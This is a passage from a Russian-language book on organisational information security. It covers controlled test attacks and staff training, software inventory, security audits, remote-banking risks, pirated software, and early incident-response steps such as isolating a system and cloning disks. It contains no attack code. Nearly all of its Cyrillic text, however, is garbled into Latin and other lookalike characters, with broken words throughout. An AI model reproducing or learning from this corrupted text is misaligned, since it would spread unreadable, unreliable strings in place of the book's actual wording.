MOAKOHTPOJIbHbIE (ITPOBEPOYHbIE) aTaKki, BOSMOXHO C IIpUBJIeUeHEM
KOMITaHU, CTIeIMAIN3UPYIONIMXCS B 9TOM HaIpaBIeHUMN.

Bo MHOTMX KOMMAaHMSIX C MHOCTPAHHBIMM BJIaAeNbllaMU yKe TaBHO
MIPOBOJISITCSI TPEHMHTHM TI0 ITOBBIIIEHNIO OCBEIOMJIEHHOCTM TepCcoHaIa
K aTakaM C MCITOJIb30BaHMEM COLIMAIbHOM MHKeHEPUM, OHAKO TOBOJIb-
HO YacCTO 3TO JeIal0T OYeHb CTPaHHbIe CITeIMaCThI.

[Tpu BbIOOpE KOMMaHWUM [IJIsI IPOBeAeHNSI TPEHUHTOB 10 MHbOopMaIu-
OHHOJ1 6€30ITaCHOCTY HYKHO [TOHMMAaTh, YTO ITPUT/IALIaeMble CITeLaIC-
ThI IOJKHBI OBITh OCBEIOMJIEHBI O HOBEMIIIMX METOIaX KMOepIIMOHaKa,
COBpPE€MEHHBIX MHCTPYMEHTAaX U HallpaBJIeHUSIX KMOePIpeCcTyITHOCTH.

JIy4mm BbIOOPOM OYAYT OpraHu3alym, IMPOBOISIIEe KOMITbIOTEPHO-
TeXHUYECKMe IKCITIEPTU3bI [IJIS TPAaBOOXPAHUTETbHBIX OPTaHOB U aKTUB-
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HO 3aHMMaIIMecs paccaeqoBaHUSIMU MHLIMAEHTOB MHPOPMAI[IOHHO
6e30macHOCTY 1yt GU3NYECKMUX U IOPUANIECKNX JINII.

B 3TOM (jy4ae crielMajuCcThbl Takoi opraHM3aluyu CMOTYT CMOJIes-
poBaTh U MPOBECTU aTaKky, OTBEUAIIIYI0 COBPEMEeHHbIM TeHJIeHIIMSIM,
pa3paboTaTh U peasn30BaTh IJIAH KOMOMHMPOBAHHOI aTaky IO BCEM
3aKOHaM >KaHpa.

O deKTUBHOCTb TAKOTO MMOIX0/1A, II0 CPaBHEHUIO C MeTOIaMM, Orpa-
HUYMBAIOUMMMUCS PACCHIIKOM M 3aUMTbIBaHMEM COTPYAHMKAM MHCTPYK-
LIMii, He TpebyeT 00CyKIeHMsI.

[IpoBefeHMe TeCTOBBIX HallafeHUIi, IOMUMO TPEHUHTa BCEro mepco-
HaJla, CMOsKeT BbISIBUTb HeCOBepIIIeHCTBA UCII0/Ib3yeMbIX CUCTeM MHMOp-
MAalMOHHOM 3allMUThI, IPOBEPUTh IPAMOTHOCTD [ECTBUI COTPYIHUKOB
6e301macHOCTH.

[ljist TipoBefieHMsI TeCTOBBbIX aTaK CYIeCTBYyeT AOBOJIbHO MHOTO MH-
CTPYMEHTOB, JOCTYIHBIX IJIs1 peaiM3aliyiy CrielyaanucTaMy, Haripumep
MHCTPYMEHTHI, cofepkaliuecs B nuctpuobytuse Kali Linux, omHako pas-
paboTKM MHCTPYMEHTapusl U ClieHapyueB aTaK JOJIKHbI ObITh MHIVUBU-
IOyaJIbHbI [IJIS pa3/IMUHBIX CeTeil U MpeanpusIThii C yueTOM MacChl crie-
uuduuecKux mapaMeTpos.

[IpoBefeH1e KOHTPOIMPYEMbBIX aTaK — 3TO eIMHCTBEHHbI IeliCTBeH-
HbIVi CITIOCO6 CHU3UTb PUCKU, CBSI3aHHbIE C XUIeHMeM MHGOpMaLn
" JeHeXHbIX CPeCTB MPU MCIO0Jb30BaHMM BPEeJOHOCHOTO MPOTpaMM-
HOTO obecrieueHusT ¥ HeIPaBOMEPHOTO JOCTYIa K KOMITbIOTEPHOM MH-
dbopmarnyn.

Vcrnonbp30BaHMe MeTOIOB 00yueHus B popMe yueHMii, IpUOIMKEH-
HBIX K peabHOCTH, MMeeT Cpa3y HeCKOJIbKO MOJIOKUTEeIbHbIX CTOPOH.

B pe3ysnbTaTe MpoBeJeHHbIX TeCTOBBIX aTak CIIelMaauCTbl MOTYT pa3-
paboTaTh MIaHbl MOJEPHM3ALIMM CUCTEM 3aLIUTHI I PEIJITAMEHTOB, a Py-
KOBOZCTBO MOKET MOOUIPUTb Hanbosiee BHMMATEIbHbBIX U OOUTETbHBIX
COTPYHUKOB.

BaskHBIM MOMEHTOM IIPY MPOBEAEHUNM TECTOBBIX aTaK U OOyUeHMIA
SIBJISIETCS yUacTue B HUX PYKOBOJMUTEsel BCeX ypOBHel, uero Ha mpak-
TUKe YaCTO He TIPOUCXOOUT. Bce Meponpus TSI TPOBOASITCS JIUIIb Cpeau
COTPYHUKOB.

OpHako 17151 9¢(PeKTUBHOrO MPOTUBOIENCTBUS YIPO3e HeOOXOAMMO
yJacTue BCeX COTPYAHMKOB KOMIIAHUM, BKIOUas pyKoBoauTesneii. [me
rapaHTHs, YTO IlepCOHA/IM3MpOBaHHAasl aTaka OyaeT HalpaBjieHa He Ha
pPYKOBOAUTENIS OTAe/a MHPOpMaIMOHHOM 6€3011aCHOCTY WM reHepab-
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HOro aupekropa? Takue ciaydyan, Kak ObIIO ke TTOKa3aHo Ha mpuMepax,
He PeIKOCTb.

Yro emre MOXHO H006aBUTh? HysKHO BOCIIUTBIBATb KYJIbTYPY CHEP-
’KaHHOCTM K MyOaMKaluyu pasHoro poma mHopmauumu o cebe, cBoeit
KOMITaHMM, TEXHOJIOTUSIX, CEMbe, 3HAKOMbIX, POACTBEHHMKAX... 3aUeM
IIOMOTaTh 3JI0YMbIIUIEHHUKAM T'OTOBUTb IIEPCOHATM3UPOBAHHYIO aTaKy?

K npumepy, HeT HEOO6XOAMMOCTH B KaXKIOM PeKJIaMHOM OyKJieTe 1 Ha
caiiTax pacIMChbIBaTh PO KITFOUEBBIX JIUII, 3aHMMAIOIIVXCS KITIOUeBbIMMU
paspaborkamu, momuute, Cepreit [TaBiosuu KoponeB cran u3BecTeH
BCEMY MMPY TOJIbKO ITOC/Ie CBOEI CMEPTH.

4.4.3. Yuem u koHmpone

[IpMBOAUTH B MOPSIIOK MH(MOPMALIMOHHYIO CUCTEMY U BBIUMC/IUTEbHbIE
CeTU HYKHO rnepuoandecku. KoMmrboTepsl COTPYIHUKOB 00pacTaoT He-
HY>KHBIM ITPOTPAaMMHBIM 0OecIiedyeHeM 1 XJIaMOM, CepBepbl 00pacTaoT
KOT/Ia-TO TeCTUPYeMbIMM IIPOTPAMMHBIMM MPOAYKTAMM, KOTOPbIE IIPO-
BOJIMJIUCh ellle TIPeIbIayIIMMMU CUCTEMHBIMY aMUHUCTPATOPAMMU.

PerysisipHasi OUMCTKa OT BCETO JUILIHEro MOMOraeT OpraHu3my 4eso-
BeKa, KaK YTBEPXKIAIOT MeIVKM, M OUMCTKA pasyMa TOxXe HeoOXoayuMma,
KaK YTBEPXKIAI0T CTOPOHHUKM MeAUTALVMN.

Bce nuiHMe puioskeHust U (aiisibl JOKHBI ObITh TMKBUIMPOBAHBI,
U JIy4ilie BOOOIlle He OITyCKaTh MX IMOSIBJIEHMs Ha pabouyux MalluMHax.
ODTO KacaeTcs U BCeX CeTeBBbIX YCTPOICTB, yCTAPEeBIIUX CETEBbIX Xpa-
HWIMIL U cepBepoB — BOH U3 ceTu! Takue aprymeHThl, KaK «JaBaiiTe
OCTaBMM Ha BCSIKMI CJTydaii» WIN «JJIs1 TeCTUPOBAHMUS», IPUMHMUMATHCS
He NOoJDKHBI. [TocencTBIST pa3MelleHys CUCTeMHBIM alMUHUCTPATOPOM
IJIS1 CBOEro ymoOCTBa HEBEPHO HAacTpOeHHOro ftp-cepBuca MOryT ObITh
KaTacTpoPuuecKuMM.

Kak mokaspIBaeT IpaKTHKa, HEKOTOpble COTpyaHUKM U IT-crnenma-
JIUCTBI, OBICTPO COPMEHTUPOBABIINCH, UCIIONb3YIOT CEpBEPbI KOMITAHUY
B CBOMX LIeJISIX, OMHM MaiHST KPUIITOBAIIOTY (3Ta MIM30(GpeHNst aTaKyeT
I aske KaueCTBeHHbIe MO3TH), C MCIIOJIb30BaHNEM HEBEeCTb KaKMX YTUIIUT,
opyrue mabaiar, TpeTbU 00y4aroTCsl, UeTBEepThIe Pa3BIeKaIOTCS.

HyskHO oTmipeeInThCsl — UTpa UIu AeHbIu? Bcemy TOKHO O6BITH CBOE
MecTo 1 BpeMs. Eciii KTo-HMOYIb U3 COTPYAHMUKOB CKauaeT cebe MHGU-
LIMPOBAHHYIO ITPOTrpaMMy IJj1s1 TpaduKy, 00yUeHUS VIIY ITPOUTPHIBAHUS
daitnoB? Bakgop AACT BO3MOKHOCTD 37I0yMbILIZIEHHMKAM B TeUeHMe yaca
MCCIenoBaTh CUCTEMY TIPEATIPUSITUSI U TIOATOTOBUTD aTaKy, OT KOTOPO¥i
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HUYEero He cracet. [Ipipa ecTb IbIpa. Bce MCIIBITAHUS U TECThI JOJIKHBI
OCYILIECTBJISITbCS B OTZIEJIbHOI Cpefie.

[l KaXKIoii MallMHbI HY)KeH pa3paboTaHHbIN MacropT MpUMeHSs-
€MbIX MPOTPaMMHbBIX MPOAYKTOB M OOIMYCTUMBbIX ¢aitnoB. Ha mecre
paboTomaTes 1eiecooopasHO 3aKPENUTh OTBETCTBEHHOCTD 3a COOJIIO-
IeHue JaHHOTO MacCIopTa 32 COTPYOHUKOM M CITeI[MaJMCTOM CITYKObI
6e3omacHoCcT. HapylieHue mau HecoO/I0IeH e YCTaHOBIEHHO TTOJIM-
TUKM 6€30I1acCHOCTM TorIa 6yIeT MMeThb JOKYMEHTUPOBAHHbBIN XapaKkTep
" 3aMKCHMPOBAHHYIO OTBETCTBEHHOCTb.

Eciiu pyKOBOIMTEITb TIPEAIIPUSITUS TAK CUTBHO TIepeXX1BaeT 3a OTIbIX
1 00yueHue COTPYIHMKOB — JiellieBjie 000pya0BaTh ST X HYKI, U301~
POBAHHbIN B MPOrpaMMHO-CETEBOM CMbIC/IE KOMITbIOTEPHBIN KITy0, Tie
MTyCTh OHM UTPAIOT ¥ OOIIAIOTCS B COIMAIBHBIX CETSIX, CKAUMBAIOT BCE,
YTO 3a0/1aTOpacCyauUTCSI.

4.4.4. Ayoum u pa3z6op nonemos

YuutbiBas creinduky MHGOPMaIMOHHBIX TEXHOJIOTU, UX CJIOKHOCTh
U TIOCTOSIHHOE pPa3BUTHeE, JaJIeKO He KKl MOXEeT [IOXBaCTaTbCS TEM,
YTO OH, KaK 'OBOPUTCS, «B TeMe». Co3JaHHbIe KOIa-TO AellapTaMeHThI
MHGOPMALIMOHHOV 6€30MaCHOCTY ¥ BHEIPEHHBIE CHMCTEMbI MOTYT OCY-
IECTBJISITH CBOIO JEeSATEeIbHOCTb, MAaJIO KOMY IIOHSITHYIO U, Y’)K KOHEUHO,
TPYIHO OLIEHMMYIO 0ObEKTUBHO, 0 TeX MOP, IOKa... [Toka He mpoun3oii-
IeT cepbe3Hblli MHIMIEHT MHMDOPMALIMOHHON 6e30ITacHOCTY U He II0-
JIETSIT LIaIKu.

Aynut MHGOpPMAaIIMOHHOM 6€30IMaCHOCTM KaK 10 COBEpIINeHMs aTak,
TaK ¥ TeM 0OoJiee IoC/ie CYYMBIIErOCsS MHIMIEHTa HEOOXOIMMO IT0pyY-
yaTh CTOPOHHMM crenyaaucraM. Kakue cucremMbl 6€3011aCHOCTY CTPOSIT
CIeMaIMCThI, HA YeM OCHOBBIBAIOTCS U KaKMMU IPUHLUMUIIAMU PYKOBOI -
CTBYIOTCSI, HE CMOSKET Pa300paThCsl HEITOCBSIIEHHbII YeIOBEK.

KpajiHe BaxkHO MMeTbh IpodecCMOHaIbHbIN B3IJISI CO CTOPOHBI Ha
6e30ITaCHOCTh CUCTEMBI. V1 He CBSI3aHO 3TO C TEM, YTO OJIMH CIlelua-
JIUCT TJIOXOM, a APyroi xopoumnii. Hy)kKHO OTHOCUTBCSL K 3TOMY BOIIPOCY
c GosbIIeli pemMMOCTbI0, TIOCKOJIbKY HeKeJIaHye MoKa3aTh HeJoBepue
CBOMM CIeMaICTaM MM KaK-T100 X 0OUIETh MOXKET BBIITH, B KOHIIE
KOHIIOB, OOKOM.

MudopmaIMoHHbIe CUCTEMbI ¥ KOMITbIOTEpHAsI 6€30IMacHOCTh HAXO0-
ISATCS B TIOCTOSTHHOM pas3BuTuu. OgHa ornepanyoHHas CUucTeMa CMeHs -
eT IpyTyIo, OJHM ySI3BMMbIE MeCTa 3alITOIbIBAIOTCS, Ipyrue o6Hapy-
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SKMBAIOTCS. B 3TOi1 chepe Henb3s OBITH CIIELIMAMCTOM pa3 M HaBCeraa,
OTYYMBIINCH IJe-HUOYAb B CIIEIMATN3VPOBAHHOM BY3e.

4.4.5. LlenecoobpasHocmb asmomamuyecKux onepayutii

B roroHe 3a TeXHOJIOTMSIMM MHOTA HYKHO BCe-TaKy «CIIYCTUTHCS Ha
IpelHyo 3emMa». Hampumep, 4To KacaeTcs XUINEHUI TeHEKHbIX
cpenctB. VMcrnonb3oBaHMe OMCTAHIMOHHOIO YIIPaBAeHUsI PacueTHBIM
CUYETOM — BCErJa Ji eCThb JIM B 9TOM CMBbICII?

KoHeuHO, OT AMCTaHIMOHHOTO 6aHKOBCKOT'O OOCTY;KMBaHMS KPYITHBIM
OpraHM3alysIM OTKa3aTbCS HepeasyibHO, 3TOT MpUMepP MOMOIET JUIIb
IJIST MeJIKUX TIpeIIpUHMMaTesIeil, HO Ha TO OH U IMpUMep.

He HYKHO 3a0bIBaTh, UTO AMUCTAHIMOHHOE GAHKOBCKOE OOCITYKMBa-
HMe Iofpa3yMeBaeT HECTPAXOBYIO IMOTEPIO JeHEKHBIX cpeacTs. [Ipn
HEeIpaBOMEPHOM AOCTyIle K KOMITbIOTEPY, HA KOTOPOM MCIIOJIb3YeTCs
9JIEKTPOHHBIN KJII0U, ITOCPEACTBOM KOTOPOTO OCYIIECTBISIETCS ITOJI-
TBEPXKIEHME oIlepallyii, OTBETCTBEHHOCTb OyIeT Ha MOob30BaTeJe.

HaBepHoe, BecbMa HEIJIOXO0, a Jake IM0JIe3HO, YIIOJTHOMOYEHHOMY
JIUITY KOMIIAHUM TIPOTY/ISITHCS I10 CBEKEMY BO3AYXY B OTIe/leHMe OaHKa
" OTHATh OYMaskHbIE TUIATEKHbIE TOpyYeHust. ECTb COMHEHMS, UTO IPo-
BeJleHMe TIIaTeskei B O0JbIIel YacTy IMPeaIIpUsITUIA MaJIoTO U CpeTHEro
6u3Heca TpebyeT HEBEPOSITHONM CPOYHOCTU. PaccTaBaThCsl C JeHbramm
HY>KHO CITOKOITHO, 6€3 JIMIITHE CYeThl MM Ype3MePHOI OTIepaTUBHOCTH.
A ecsii 4TO-TO U MPOU30IAET — Bceraa O6ymeT COBepIIeHHO TOYHO yCTa-
HOBJIEHO OTBETCTBEHHOE JIUIIO.

KonmuecTBo XUILIeHMI JeHEKHBIX CPEIICTB C MCIOIb30BaHMEM CUCTEM
OUCTAHIIMOHHOTO GAHKOBCKOTO OOCTY;KMBAaHMS He MMOIaeTCs MOICUeTY,
ITOCKOJIbKY JIMIITb MaJtast JOJIS 3asiBJIeHUIA MOTePIIeBIINX 3aKaHUMBAETCS
BO30Y>KI€HMEeM YTOJIOBHBIX Je/l. OCHOBHASI Macca MaTepUajaIoB TEPSETCS
rIe-TO Ha IpocTopax Poccuu, Kouyst U3 permoHa B PeruoH, 1, B KOHIIE
KOHIIOB, 6eccieqHO Mcyesaer... A KakKoBa J0JISI PaCKPBIThIX XUIIEHMIA
C pacYeTHBIX CUETOB, TyUIlle He 3ayMbIBAaThCS, 3TO COBCEM YOMBAET XO-
poliiee HaCTPOEHMeE.

Eciu yoaneHHOe yIipaBjeHMe CUYEeTOB BCe-TaKy MCIIOIb3YEeTCS B Op-
raHM3alyuu, TO 3TO AOJIKEH ObITh OTHE/NbHbIV KOMIIbIOTED, 6€3 IT0CTO-
POHHEr0 MPOTrPaMMHOTO obecrieueHust M GYyHKINUIA. DTO O3HAUYAET: He
MCITOJIb3YETCSI HUKAKOM MPOCMOTP CaiiTOB (Iaske ITOrojibl), HE MCITOJb-
3yeTcs A1t oOMeHa daiaaMu, BKIOUYast OyxrajaTepckue JOKYMEHTHI, He
MICITONIb3YETCS JIJIST TIOJTyYeHMSI MJIM OTIIPAaBKM ITOYThI. IHTEpHeT-coeau-
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HeHlMe Ha TaKOM KOMITbIOTEpEe MHUIIUMPYETCS TOJIBKO BO BpeMs pabOThI
¢ cepBepoMm 6aHKa, BCe OCTaJbHOE BpeMsI KOMITbIOTEP JOJIKeH OBbITh OT-
coenHeH KakK OT JIOKaJbHOM, TaK U OT JIt000¥i IPyTOoii CeTH.

[IpMepoB Helle/ecoo6pa3HOi aBTOMAaTU3alUM MOKHO HAlTH I0-
CTATOYHO Ha JII0OOM KPYITHOM Ipearnpusitui. CBSI3aHO 3TO C TE€M, UTO
MOCTaBIIMKY ITPOTPAMMHbBIX MPOAYKTOB 3aK/IaAbIBalOT B (DYHKIMOHAJ
Bce 6osblie QyHKIMI, KOTOpbIe TIpeanpusTHs 6epyT cpa3y Ha BOOpYKe-
HMe, a TI0CJIe TOr0 KaK HauMHAIOT IMIPOUCXOAUTb MHIIUMIAEHThI, OTAE/bl MH-
dbopmanoHHOJ 6€30MaCHOCTY HAYMHAIOT IIPUIYMbIBATh, KAK 3aKPhITh
oOHapyKMBaeMble YSI3BMMOCTY ¥ He HaBpeauUTh pabouemMy ITpoIeccy.

4.4.6. «Omaonocku nupamcmea»

CTOUT MOBEPXHOCTHO KOCHYTBHCSI CAMBIX CTPAILIHBIX ¥ TAMHCTBEHHbBIX SI1M-
IeMUii BpeJOHOCHBIX IIPOrpaMM, 37I0BPeIHBbIX U Be3[eCyIlX BUPYCOB,
KaK CTaHeT SICHO, UTO OHM TTOPasKaIoT 10 60JIbIielt YacTy JOBOJIbHO Olpe-
nefeHHbIe OlepalyOHHbIe CUCTEeMbI!, KaK TOBOPUTCS, He Oy[ieM ThIKaTh
MajiblieM, B IPeIbIAYIINX YACTSIX KHUTY 3TO He pa3 JeMOHCTPUPOBAIOCh.

HemHoro tpebyeTcsl mo3HaHMit, UTOObI 3a6JIOKMPOBATH OIlepaly-
OHHYIO CUCTeMY, OTK/JIIOUMTD yIIpaBjeHue CpeacTBaMyu BBOJA-BbIBOA,
3a6JIOKMPOBATh 3KpaH ¥ HATBOPUTH ellle HeBeCTh CKOJIbKO BCEro He-
BEPOSITHOTO, TIOC/Ie Yero BCe BOKPYT HAUMHAIOT MCKPEHHE YOUBJISIThCS
PacIpoCTPaHSIIOIMMCS CTPAIIHBIM BUPYCaM — «OJIOKMPOBIIMKAM», «BbI-
MOTaTeJISIM» VN «IIM(PPOBAIbIIVKAM».

[TogcaskeHHbIE HA CTPAaHHBIM 00pa30oM MPOHMKIIIEe B HAIly CTpaHy
0011IeI0CTYITHOE MMPATCKOE ITPOrpaMMHOe ob6ecIieueHne, IO He XOTST
B3pOC/IETD U JIeJIaTh OCO3HAHHBII BHIOOP KaK [IJIsI AOMAIIHETr0, TaK U JIJIs
KOMMEPUYECKOTO UJIM rOCYyAapCTBEHHOI'O UCII0b30BaHMSI.

B kauecTBe npumepa MOKHO IIPUBECTU IpuMep npukasa ot 20 MoHs
2012 r. N2 615 «O06 yTBepKIEHUM MHCTPYKLMU TI0 IeJIOIPOU3BOJICTBY
B OpraHax BHYTpeHHUX Hen Poccuiickoit @epgepaumnm»:

B 11e/151X cOBepIlIIeHCTBOBAHMS Ae/I0IIPOM3BOACTBA B OpraHaxX BHYTPEHHUX
nen Poccuiickon @epepannm -

[TPUKA3BIBAIO:

1. VTBepauTh cornmacoBaHHylo ¢ OenepasbHbIM apXMBHBIM areHTCTBOM
npwiaraemMyo MHCTPYKIUMIO IO AeJI0TPOU3BOACTBY B OpraHax BHYTPEHHUX
nen Poccuiickor @epepainn.

! PacmpepneneHne BpeIOHOCHBIX IPOrpaMM I10 OIMepalMOHHBIM cucteMam: http://
komp-exp.ru/segment_statistics/.


http://komp-exp.ru/segment_statistics/
http://komp-exp.ru/segment_statistics/
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2. PykoBoauTensiM CTPYKTYPHBIX MO pa3ie/ieHMi LeHTPaJIbHOTO arnapa-
Ta MB]], Poccun, TepputopuanbHbix opranoB MBJI Poccun, o6pa3oBaTe/ibHbIX
yUpeKIeHUI, HAayYHO-UCCIeN0BaTeNbCKUX, MeAUKO-CAHUTAPHBIX U CAHATOP-
HO-KYPOPTHBIX Opranmu3anuii cucreMmbl MBJI Poccuut, OKPY>KHBIX yIIpaBaeHUMA
MaTepuaabHO-TEXHUUECKOTO CHabkeHust cucreMbl MBJI Poccuu, a Takke
VMHBIX OpraHM3aluii U oApa3aeIe N, CO30aHHbIX [/ BBITIOTHEeHMS 3a7a4
Y OCYILLECTBI€HMS IIOJTHOMOYMIA, BO3JIOKEHHBIX HAa OpraHbl BHYTPEHHUX Jel:

24. TIpu opopmyieHMM TOKYMEHTOB PEKOMEHIyeTCsl IPUMEHSITh TEKCTO-
BbIi1 pemakTop Microsoft Word Bepcuu 2003 1 BbIIIIe WM IPYTOit, COBMECTU-
MbIVt ¢ HUM, ¢ ucronb3oBaHueM mpudTo Times New Roman (Times New
Roman Cyr) pasmepom N2 13-15 yepe3 1-1,5 MeXCTPOUHBIX MHTepBaja.
[IpudT B IOKYyMEHTe IOJIKeH ObITh €IMHBIM I10 pa3Mepy, 32 UCKITIOUeHNEM
0COOEHHOCTEeI, TPeAYCMOTPEHHBIX ITYHKTOM 28 HaCTOsIIei MHCTpyKUMN.

CnoBocouetanne «MS-Word» B JOKyMeHTe, peTryJIupyoIiem Ieyo-
MMpoMn3BOACTBO MMHMUCTEPCTBA, BCTpeuaeTcs 43 pa3a. OcTanoch ajTapb
COOPYAUTD.

4.5. Yto paenatb, ecnm npounsowen UHUMAEHT

YTro/0BHO-TIPOLeCCYya/IbHbIN KomeKe P® ycTaHaB/IMBAET, YTO ITOBOAOM
I71sT BO30YsKIeHMsI YTOJIOBHOTO Jiesia CTYSKUT 3asIBIEHME O IMPEeCTYIIEHUH,
a OCHOBaHMEM SIBJISIETCS HAJIMUMe NOCTaTOYHbIX TaHHbIX, YKa3bIBAIOIINX
Ha NPU3HAKU MIPEeCTYTIeHNUS.

ObpamaThcs ¢ 3asBJIeHMeM 00 MHIMIEHTE WIM HeT M UTO BOOoOIIe
nenaTh, eCaM KubeprpecTyryieHe B OTHOIIEHUM JIUIIA MM OpraHu3a-
MY YKe TTPOM30IIIO0, TIONPoOyeM pa3o0opaThCsl, paCCMOTPEB HEKOTOPbIE
KJII0U€Bble MOMEHTHI.

Ha cerogHsIHMIT IeHb B COOTBETCTBUM C DefiepaibHbIM 3aKOHOM OT
27.06.2011 N2 161-®3 «O HaMOHAJBHOI IJIATEXXHONM CUCTEME» OIle-
paTOpOM MO MepeBOAY NEHEKHBIX CPeNCTB MPeayCMOTPEHO BO3Mellle-
HMe KJIMEeHTY CyMMbI Orepalyu, COBepIIeHHOl 6e3 cormacusi KIMeHTa,
e He Oy#eT JOKa3aHO, UTO KJIMEHT HapyIIWI MOPSA0K UCIOIb30Ba-
HMSI 3JIEKTPOHHOI'O CpeACTBa IJjaTeXa, YTO, B CBOI0 o4yepe.b, ITPUBeJIo
K COBEpIIEeHMIO oIlepanyuy 6e3 cormacus KInMeHTa — (pM31uecKoro jamia’.

! Crartpst 9 ®enmepanbHOro 3akoHa ot 27.06.2011 N2 161-®3 «O HaLMOHAIBLHON IIIa-
TexkHOI cucteme». URL: http://www.consultant.ru/document/cons_doc LAW 115625/
b0062cfblc3cae710d57f0557303e78760a31d16/.


http://www.consultant.ru/document/cons_doc_LAW_115625/b0062cfb1c3cae710d57f0557303e78760a31d16/
http://www.consultant.ru/document/cons_doc_LAW_115625/b0062cfb1c3cae710d57f0557303e78760a31d16/
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OcTtaeTcst OTKPBITHIM BOITPOC MO JOKA3bIBAHUIO KJIMEHTOM, C OIHO CTO-
POHBI, UTO OH IIPUMHMMAJ BCe HEOOXOIMMbIe MepbI IPeIOCTOPOKHOCTA
M CTPOTO C/IefoBaj MHCTPYKILMSIM, a C APYroi — ornepaTopa — B JOKa3bl-
BaHMM 00PATHOTO.

Kak y>ke ObIJIO HE OIMH pa3 MPOJEeMOHCTPUPOBAHO B JaHHON KHUTe,
Ba)KHOE 3HAUeHMe MMeeT OIepaTUBHOCTD, @ MMEHHO BpeMsI peaKkly Ha
VHIUAEHT MHGOPMALIMOHHOM 6e30I1acHOCTM, CBOEBPEMEHHOCTh U Ka-
YeCTBO Ja/IbHENIIero paccjaeqoBaHus KubeprpecTyIIeHnsI.

Ilameko He Bcerma IpaBOOXpaHUTEIbHASI CUCTeMa, C KOTOPO¥ Ipu-
IeTCs CTOJIKHYThCS IIOTepIieBileMy, OyaeT 00/agaTh HEOOXOAMMbIMMU
aJITOPUTMAaMM U MHCTPYKLIMSIMMU JIJIS1 OCYILIECTBIEHMS 6€30T/IaraTeIbHbIX
nericTBuil. II0oaTOMY B ITOJOOHBIX CUTYAIIUSIX [TOTEPIIEBIINI TOIKEH Yac-
TUYHO OpaTh MHMUIMATUBY B CBOM pyKu. OmHAKO MHULIMATUBA MHUIMA-
TUBE PO3Hb.

PacrpocTpaHeHHOe SIBJIEH)E, KOTOPOe MPUXOAMUTCS Hab/0aaTh CHOBA
1 CHOBA, — 3TO ITOTIbITKA OIIEPATUBHOIO JIeUeHMSI KOMITbIOTEPHO TeXHM -
K OT BPeIOHOCHBIX IIpOrpaMM IOJIb30BaTeISIMM, COTPYAHUKAMU MH-
dhopMaloHHOJ 6€30ITacCHOCTH, CMCTEMHBIMM aIMUHUCTPATOPAMMU MU
MpUIIAlIeHHBIMM CIelaIuCcTaMM CTOPOHHEN OpraHu3alumn.

K coskayieHnI0, TOJIBbKO JINIIb TeCTBUSIMMU I10 JIEUeHMIO TeHUAIbHOCTD
aJropMTMa He 3akaHuMBaeTcs. [locie o6HapysKeHMSI HEMCITPAaBHOCTE,
c60eB WM pUKcauyy BPeIOHOCHO aKTUBHOCTH ITPOUCXOIUT YCTAHOB-
Ka pasjIMUYHOro pojia IporpaMM, HalTpaBJAeHHbIX Ha IpegoTBpalleHye
yIpO3, 3aIMUTY U aHaIN3.

MHorue UAyT ellle Jajibliie — IIPOU3BOIST IIepeyCTaHOBKY OIlepaly-
OHHBIX cuCcTeM, GopMaTUpOBaHMe HocuTeei napopmaium, 4abbl Ipu-
XJIOMTHYTh MOTEeHLMaIbHO HAXOASsIIIMeCcs] Ha HUX BCe CTPaIIHble BUPYCHI.

JTto6bIe oCyIecTB/sIeMbIe AeiiCTBUS B MH(GOPMAIMOHHO cpefe, oI -
Bepriierics arake, MOTYT IIPUBECTU K HEBO3MOKHOCTY YCTAHOBJIEHUS MC-
TUHHBIX TIPUYMH TPOMU3OIIEIIEero MU CUJIbHO 3aTPYIHUTD X aHa/IN3.
[laxke IIpy OCYIIECTBIEHMM IIPOCTOI Iepe3arpy3Ku, BIK/II0UeHMSI-BKITIO-
YeHMSI KOMITbIOTEPHO TEXHUKY IMTPOMUCXOIUT MHOKECTBO orepalinii, He-
BUOVMBIX I10/Ib30BaTeJIO.

Mopudukaiusi KOMIbIOTEPHO MHOpMAaIMKM BJIeYeT 3a Co00it U3-
MeHeHMsI, KOTOpbIe HaxXOsIT CBOe OTpaskeHMe B 3aTUPAHUU yIaTeHHbIX
(da’iioB, KOTOPbIE MOKHO OBLJIO OBI eIle BOCCTAHOBUTD, IIOTEPE 3aIIMCeii
CUCTEMHBIX XyPHAJIOB, MU3MEHEHUM HACTPOEK, IPOIeccoB, aTpuOyTOB
(aiiyioB, BpeMeHHbIX ITaIllOK ¥ YHUUTOKEHUM eIlle 11eJIOTO psija «Masiu-
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KOB, 3HAKOB ¥ OTMETUH», MCIIOJIb3YEeMbIX CITEIIMAIMCTaMM IIPU IIPOBe-
IEeHUM VICCIIeIOBAHMIA M DKCIIePTU3.

Takum 06pa3oM, CTOUT PacCMOTPETh HEKOTOPbIE PeKOMEHIyeMbIe
IeiiCTBUSI, HaIIpaBJIeHHbIE HA COXPaHeHMe CJIEOB ¥ OMHOBPEMEHHO CII0-
COOCTBYIOIIME pacCc/ieIOBaHNUIO ITPOU30IIeIIero MHIINAEHTA.

4.5.1. Uzonauus cucmemsoi

ITepBoe, UTO HEOOXOAMMO CIEJIaTh, — 3TO 00ECTIeYNTD U3OISILINIO aTaKye-
MOJi (aTaKOBaHHOI1) C1CTeMBbI (KOMITbIOTEPA, CEpBEpPA, CETV, MOOMIBHOTO
tenedoHa). [Ipyu 3TOM, MO BO3MOKHOCTH, MOXXHO 3aBEepPIIUTh KPUTHUUE-
CKMe Ipoliecchl, 06pabaThIBaOINNe BaXKHYIO MH(POPMAINIO, eC/IN TaKo-
BbI€ MIMEIOTCS.

Kak 13BeCTHO, camasl 3allMIleHHast CMCTeMa — 9TO CHMCTeMa, KoTopast
He MMeeT CeTeBOro B3aMMOeiiCTBHUS U... 06eCTOUeHa.

4.5.2. U320moeneHue Kn1oHo8 Hocumeneli uHgopmayuu

[Tocie OTK/TIOUEHMS CHCTEeMbI HACTYIIaeT OCHOBHO 3Tall MOJIe3HBIX Jieii-
cTBuil. Heobxoammo crenaTh MOCEKTOPHbIE Komuu! HocuTenei nHpop-
Maluy aTaKOBaHHOI CUCTEMbI, KkeJlaTeJIbHO B IBYX 9K3eMIIsIpax.

JIJ1s1 KJIOHMPOBAHMSI KECTKOTO JICKA OCYIIeCTBIIsSIeTCs Mpolieaypa Io-
CEeKTOPHOTO (Tak Ha3bIBa€MOI'0 HM3KOYPOBHEBOTO) TlepeHOoca JaHHbIX
C OJTHOTO HOCUTEJISI Ha Apyroit. [Ipy 3TOM KJIOH OyAeT IpeCcTaBsTh CO-
6071 TOUHYIO KOIIMIO OPUTMHAIBHOTO HOCUTENIS MHbopMaLyu. s naH-
HOJi oIepanyy MOKHO IPUMEHSITb HOCUTENIN MHGOPMAIMM TAKOTO Ke
